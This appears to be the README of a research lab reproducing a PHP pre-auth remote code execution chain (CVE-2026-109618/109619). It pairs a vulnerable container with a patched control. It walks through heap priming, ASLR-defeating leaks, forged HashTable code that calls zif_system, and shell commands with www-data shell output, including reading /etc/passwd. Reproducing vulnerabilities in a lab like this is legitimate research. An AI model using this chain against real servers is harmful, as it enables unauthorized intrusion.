CVE-2026-109618 · CVE-2026-109619 · PHP 5.4 – 8.5.11
A two-container lab that reproduces php2shell end to end: one vulnerable PHP 8.4.26 target, one patched 8.4.27 control, and a proof-of-concept that lands a shell as www-data.
This lab contains a deliberately vulnerable container and working exploit tooling. Everything binds to
127.0.0.1and the driver refuses non-loopback targets. Use it on hosts you own or have written permission to test. Do not deploy it anywhere reachable from the internet, and do not point it at infrastructure you do not control.
- Vulnerability summary
- Why this is not an application bug
- Quick start
- Getting a shell
- How the exploit works
- What is actually vulnerable
- Preconditions this lab makes easy
- Expected results
- Repository layout
- Troubleshooting
- Further reading
- License
| Field | Detail |
|---|---|
| Severity | 9.2 Critical (CVSS 4.0), both issues |
| Weakness | CWE-416 Use After Free · CWE-824 Access of Uninitialized Pointer |
| Affected | PHP 5.4 through 8.5.11 |
| Fixed in | 8.2.35 · 8.3.36 · 8.4.27 · 8.5.12 |
| CVE | CVE-2026-109618 (OOM bailout) · CVE-2026-109619 (stale state) |
| Advisories | GHSA-w8hw-w9fx-j79w · GHSA-6wmf-4rv5-p3rp |
| Upstream fix | php-src commit 3584a98 |
| Exploitation | In CISA KEV since 2026-10-26 |
| Pre-auth | Yes, fires during php_request_startup() |
Two bugs in PHP's own request startup, chained:
- The abort. Out-of-memory handling raises a fatal error and
longjmp()s out of whatever it was doing. If that happens while request state is reachable but not yet consistent, the jump skips the cleanup that would have kept it consistent. - The leftovers. Some request-owned state is published into worker globals and not fully cleared, so the next request on that worker reads freed memory before normal initialization replaces it.
The target application is three lines that print a banner:
<?php
header('Content-Type: text/plain; charset=utf-8');
echo "php2shell lab target\n";
echo 'php_version=' . PHP_VERSION . "\n";No session_start(), no upload handling, no include, no unserialize(), no
database, no third-party code. The exploit never executes that file. It runs
and finishes inside php_request_startup(), before PHP compiles the script.
That is the point of the lab: your framework's authentication, your application WAF rules, your input validation. All downstream of this. There is no application-layer mitigation.
Requirements: Docker with Compose v2, Python 3, and git (the driver fetches
the pinned research implementation).
git clone https://github.com/SquidSec/php2shell.git
cd php2shell
# vulnerable target on 127.0.0.1:18080
docker compose up -d --build vulnerable
# patched control on 127.0.0.1:18081
docker compose --profile patched up -d --build patchedWait for the target to answer, then confirm it is the version you expect:
curl -s http://127.0.0.1:18080/
# php2shell lab target
# php_version=8.4.26Build once, then start. Rebuilding the image underneath a running container changes the heap layout the chain is calibrated against.
Two entry points, same options. run.sh builds and starts the target, then
passes every trailing argument through to rce.py.
./poc/run.sh # probe + proof of `id`
./poc/run.sh --cmd "uname -a" # any command, any length
./poc/run.sh --shell # persistent shell
./poc/run.sh --shell --shell-cmd "id" # run commands in that shell
./poc/run.sh patched # patched control: expect nothingOr drive the chain directly:
python3 poc/probe.py --target http://127.0.0.1:18080/
CONTAINER=php2shell-vulnerable PORT=18080 python3 poc/rce.py --shell$ ./poc/rce.py --shell
[*] zif_system=0x465370 zval_ptr_dtor=0x65eb60 (readelf)
[*] starting the persistent shell on the target
[*] shell attached. Type 'exit' or Ctrl-D to detach.
php2shell> id; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell-vulnerable
php2shell> ls /var/www/html
index.php$ ./poc/rce.py --cmd "id; uname -a; cat /etc/passwd | head -3"
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux php2shell-vulnerable 6.18.54.1 ... x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
============================================================$ ./poc/rce.py --container php2shell-patched --port 18081 --shell
============================================================
NO SHELL: the payload did not start on this target.
On the patched image this is the expected result.
============================================================Three stages. Each maps to a different detection opportunity.
Request A primes the worker: a body over max_input_vars makes PHP emit a
warning, which with display_errors=On sends headers early. A one-byte
PHPSESSID then makes the session layer mint a new id and set send_cookie,
and the cookie send fails because headers are already gone. The request
finishes with a large allocation that aborts it, leaving PS(id) dangling.
Request B reclaims that freed block with a forged zend_string header whose
declared length is far larger than the block. PHP URL-encodes the string into
Set-Cookie, walking past the end and returning adjacent heap bytes:
[+] chunk base = 0x7615a0a00000Same primitive, aimed differently: the overread window is shaped to carry a
function pointer out of a live 56-byte HashTable. Subtract the known
zval_ptr_dtor offset and you have the load address of libphp.so:
[+] libphp base = 0x7615a2741000Both leaks are ASLR defeats costing a few HTTP requests and no crash.
A session reference that survived an aborted request is reclaimed with attacker
bytes describing a fake HashTable whose destructor is zif_system, plus a
fake execute_data supplying the command as argument one:
/* fake HashTable the cleanup will walk */
struct.pack_into("<II", ht, 0x00, 1, 7) /* gc: rc=1, IS_ARRAY */
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) /* flags, nTableMask */
struct.pack_into("<Q", ht, 0x10, htdata + 0x20) /* arData */
struct.pack_into("<Q", ht, 0x30, zif_system) /* pDestructor */
/* fake execute_data at arData+0x20 */
struct.pack_into("<I", ht, E + 0x2C, 1) /* num_args = 1 */
struct.pack_into("<Q", ht, E + 0x50, arg1) /* arg1 = our command */
struct.pack_into("<I", ht, E + 0x58, 6) /* IS_STRING */A request triggers session cleanup. zval_ptr_dtor sees a reference, destroys
the fake array, zend_hash_destroy reads pDestructor, and calls it with the
fake frame. The frame says one string argument, and that string is your command.
The dispatch hands a single string to zif_system, and that string is capped at
about 14 bytes. Anything longer is truncated before it reaches the shell, so
cat /etc/passwd cannot be passed through directly.
The driver therefore stages the payload inside the container at /out/c and
fires the 11-byte bootstrap:
bash /out/cStaging uses docker exec, because the lab already gives you container access.
The execution still happens through the vulnerability. On a real engagement
you would plant that file with the first successful RCE and reuse the chain only
to run it.
The call is one-shot: the worker's heap is corrupt immediately afterwards, so
the child dies with it and there is no stdin to attach to. --shell starts a
detached reader that outlives the worker:
setsid bash /out/loop.sh > /out/shell 2>&1The loop polls /out/in for new lines, runs each one, and appends output to
/out/shell.
Two simpler designs were tried and both race. A FIFO closes at EOF, so it serves
exactly one command. tail -f can hand bash a half-written line, producing
syntax error near unexpected token '('. Polling on line count avoids both.
The shell runs as the web user, because that is who the exploit is.
Five files decide everything, and the application is not one of them:
| Layer | File | Role |
|---|---|---|
| Engine | main/rfc1867.c, main/main.c, Zend/zend_alloc.c |
the vulnerability |
| Config | php.ini |
the size mismatch the parser trips over |
| Pool | apache/prefork-single.conf |
one worker, so corrupted state is reused |
| Images | Dockerfile, Dockerfile.patched |
pinned vulnerable / fixed builds |
| App | app/index.php |
prints a banner; never executed by the exploit |
The size mismatch is the interesting part. A multipart part can carry unlimited headers, and PHP stores each as name/value strings, so the in-memory cost is far above the wire cost. In this lab, 400,000 copies of a three-byte header line, 1.2 MB on the wire, exhausts an 8 MB parser budget:
$ python3 poc/probe.py --target http://127.0.0.1:18080/
target http://127.0.0.1:18080/
wire body 1,200,091 bytes
header lines 400,000
status HTTP 200
body bytes 147
RESULT: PHP aborted inside the request parser.
The response contains only the fatal error; the target
script never executed. That is the pre-auth property.Note the status code: 200, not 500. With display_errors=On the fatal error
is rendered into the body and Apache has already committed headers. Whether the
script produced output is the signal, not the status code.
The lab is not a drop-in remote exploit. Be explicit about this:
| Precondition | Lab | Typical server |
|---|---|---|
| SAPI | Apache mod_php (prefork) |
often PHP-FPM behind nginx |
| Worker pool | exactly 1 | usually 5–150 |
memory_limit |
8 MB | 128 MB or more |
display_errors |
On | usually Off |
session.upload_progress |
On (PHP default) | On unless disabled |
post_max_size |
512 MB | usually 8 MB |
The chain needs the producer and the consumer on the same worker. One worker makes that deterministic; wider pools need worker-saturation strategies that are out of scope here.
display_errors=On is a delivery setting for the disclosure stage. The state
corruption happens with it off; you lose the HTTP channel that carries the
leaked pointer back.
| Target | Probe | --cmd |
--shell |
|---|---|---|---|
php:8.4.26-apache |
parser aborts, script never runs | uid=33(www-data) |
interactive session as www-data |
php:8.4.27-apache |
script runs normally | NO OUTPUT |
NO SHELL |
The chain retries stage 3, because each attempt costs a worker and landing is heap-dependent. Expect a handful of attempts before success.
The worker count after a successful run is 0. The exploited child aborts, by design. That is not a failure.
php2shell/
├── Dockerfile # FROM php:8.4.26-apache (last vulnerable 8.4)
├── Dockerfile.patched # FROM php:8.4.27-apache (first fixed 8.4)
├── docker-compose.yml # :18080 vulnerable, :18081 patched, loopback only
├── php.ini # 8M memory_limit, 512M post_max_size
├── apache/
│ └── prefork-single.conf # exactly one worker
├── app/
│ └── index.php # prints a banner; the exploit never executes it
└── poc/
├── probe.py # demonstrates the pre-auth abort, no exploit
├── rce.py # drives the chain; reads offsets from the container
└── run.sh # one command end to end
NO PROOF / NO SHELL on the vulnerable image. Usually heap layout. Run it
again. Stage 3 is probabilistic. If it never lands, rebuild from a clean state:
docker compose --profile patched down --rmi local --volumes
docker compose up -d --build vulnerablecannot resolve symbols ... (no readelf, no profile). The driver reads
zif_system and zval_ptr_dtor from libphp.so with readelf, falling back
to pinned offsets for 8.4.26 and 8.4.27. On another build, add its offsets or
install binutils in the image.
Everything stopped working after a rebuild. Rebuilding while a container is running replaces the image layer beneath it and shifts the heap. Tear down, then start fresh.
Port already in use. Change the published ports in docker-compose.yml,
then pass --port to the driver.
- The full technical write-up: root cause, the patch, the SAPI matrix, and detection guidance
- GHSA-w8hw-w9fx-j79w: CVE-2026-109618
- GHSA-6wmf-4rv5-p3rp: CVE-2026-109619
- php-src commit 3584a98: "Avoid state corruption via bailout"
- 9bie/php2shell-bypass-aslr-exp: public research implementation the driver fetches at a pinned commit
MIT. See LICENSE.
The exploit chain itself is not included or redistributed. poc/rce.py fetches
9bie/php2shell-bypass-aslr-exp
at a pinned commit and applies two documented fixes at runtime. That research
carries its own terms; respect them.